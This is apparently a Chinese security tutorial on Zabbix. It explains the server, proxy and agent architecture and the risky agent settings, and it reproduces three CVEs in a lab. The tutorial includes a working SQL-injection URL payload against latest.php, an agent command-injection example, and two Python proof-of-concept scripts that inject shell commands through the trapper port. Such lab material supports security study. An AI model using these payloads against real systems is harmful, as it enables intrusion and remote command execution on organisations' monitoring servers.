目录
Zabbix简介
Zabbix是一个支持实时监控数千台服务器、虚拟机和网络设备的企业级解决方案,客户覆盖许多大型企业。
Zabbix监控系统由以下几个组件部分构成:
Zabbix Server
Zabbix Server是所有配置、统计和操作数据的中央存储中心,也是Zabbix监控系统的告警中心。在监控的系统中出现任何异常,将被发出通知给管理员。
Zabbix Server的功能可分解成为三个不同的组件,分别为Zabbix Server服务、Web后台及数据库。
Zabbix Proxy
Zabbix Proxy是在大规模分布式监控场景中采用一种分担Zabbix Server压力的分层结构,其多用在跨机房、跨网络的环境中,Zabbix Proxy可以代替Zabbix Server收集性能和可用性数据,然后把数据汇报给Zabbix Server,并且在一定程度上分担了Zabbix Server的压力。
Zabbix Agent
Zabbix Agent部署在被监控的目标机器上,以主动监控本地资源和应用程序(硬盘、内存、处理器统计信息等)。
Zabbix Agent收集本地的状态信息并将数据上报给Zabbix Server用于进一步处理。
Zabbix网络架构
对于Zabbix Agent客户端来说,根据请求类型可分为被动模式及主动模式:
- 被动模式:Server向Agent的10050端口获取监控项数据,Agent根据监控项收集本机数据并响应。
- 主动模式:Agent主动请求Server(Proxy)的10051端口获取监控项列表,并根据监控项收集本机数据提交给Server(Proxy)
从网络部署架构上看,可分为Server-Client架构、Server-Proxy-Client架构、Master-Node-Client架构:
Server-Client架构
最为常见的Zabbix部署架构,Server与Agent同处于内网区域,Agent能够直接与Server通讯,不受跨区域限制。
Server-Proxy-Client架构
多数见于大规模监控需求的企业内网,其多用在跨机房、跨网络的环境,由于Agent无法直接与位于其他区域的Server通讯,需要由各区域Proxy代替收集Agent数据然后再上报Server。
Zabbix Agent配置分析
从进程列表中可判断当前机器是否已运行zabbix_agentd
服务,Linux进程名为zabbix_agentd
,Windows进程名为zabbix_agentd.exe
。
Zabbix Agent服务的配置文件为zabbix_agentd.conf
,Linux默认路径在/etc/zabbix/zabbix_agentd.conf
,可通过以下命令查看agent配置文件并过滤掉注释内容:
cat /etc/zabbix/zabbix_agentd.conf | grep -v '^#' | grep -v '^$'
首先从配置文件定位zabbix_agentd服务的基本信息:
Server参数
Server或Proxy的IP、CIDR、域名等,Agent仅接受来自Server参数的IP请求。
Server=192.168.10.100
ServerActive参数
Server或Proxy的IP、CIDR、域名等,用于主动模式,Agent主动向ServerActive参数的IP发送请求。
ServerActive=192.168.10.100
StartAgents参数
为0时禁用被动模式,不监听10050端口。
StartAgents=0
经过对 zabbix_agentd.conf 配置文件各个参数的安全性研究,总结出以下配置不当可能导致安全风险的配置项:
EnableRemoteCommands参数
是否允许来自Zabbix Server的远程命令,开启后可通过Server下发shell脚本在Agent上执行。
风险样例:
EnableRemoteCommands=1
AllowRoot参数
Linux默认以低权限用户zabbix运行,开启后以root权限运行zabbix_agentd服务。
风险样例:
AllowRoot=1
UserParameter参数
自定义用户参数,格式为UserParameter=<key>,<command>
,Server可向Agent执行预设的自定义参数命令以获取监控数据,以官方示例为例:
UserParameter=ping[*],echo $1
当Server向Agent执行ping[aaaa]指令时,$1为传参的值,Agent经过拼接之后执行的命令为echo aaaa
,最终执行结果为aaaa
。
command存在命令拼接,但由于传参内容受UnsafeUserParameters
参数限制,默认无法传参特殊符号,所以默认配置利用场景有限。
UnsafeUserParameters参数
自定义用户参数是否允许传参任意字符,默认不允许字符\ ‘ “ ` * ? [ ] { } ~ $ ! & ; ( ) < > | # @
风险样例:
UnsafeUserParameters=1
当UnsafeUserParameters参数配置不当时,组合UserParameter自定义参数的传参命令拼接,可导致远程命令注入漏洞。
由Server向Agent下发指令执行自定义参数,即可在Agent上执行任意系统命令。
以 UserParameter=ping[*],echo $1
为例,向Agent执行指令ping[test && whoami]
,经过命令拼接后最终执行echo test && whoami
,成功注入执行shell命令。
Include参数
加载配置文件目录单个文件或所有文件,通常包含的conf都是配置UserParameter自定义用户参数。
Include=/etc/zabbix/zabbix_agentd.d/*.conf
Zabbix漏洞复现
CVE-2016-10134
CVE-2016-10134:zabbix latest.php
SQL注入漏洞
攻击机已知靶机ip,且靶机系统未关闭默认开启guest账户登陆.
访问http://192.168.50.113:8080/
,用账号guest(密码为空)登录游客账户
登录后,查看Cookie中的zbx_sessionid,复制后16位字符:
将这16个字符作为sid的值,访问
http://192.168.50.113:8080/latest.php?output=ajax&sid=ad52758bba8163d4&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
成功注入。
这个漏洞也可以通过jsrpc.php触发,且无需登录:
CVE-2017-2824
CVE-2017-2824:Zabbix Server trapper
命令注入漏洞
docker-compose up -d
启动一个完整的Zabbix环境,包括Web端、Server端、1个Agent和Mysql数据库:
利用该漏洞,需要你服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。
使用账号密码admin/zabbix
登录后台,进入Configuration->Actions
,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意:
第三个标签页,创建一个Operation,type是“Add Host”:
保存。这样就开启了自动注册功能,攻击者可以将自己的服务器注册为Agent。
简单POC:
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
这个POC比较初级,请多执行几次,当查看到如下结果时,则说明命令执行成功:
进入server容器,可见/tmp/success
已成功创建:
CVE-2020-11800
CVE-2020-11800:Zabbix Server trapper
命令注入漏洞
在CVE-2017-2824中,其Server端 trapper command 功能存在一处代码执行漏洞,而修复补丁并不完善,导致可以利用IPv6进行绕过,注入任意命令。
一个完整的Zabbix环境,包含Web端、Server端、1个Agent和Mysql数据库:
docker-compose up -d
POC:
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
命令执行成功: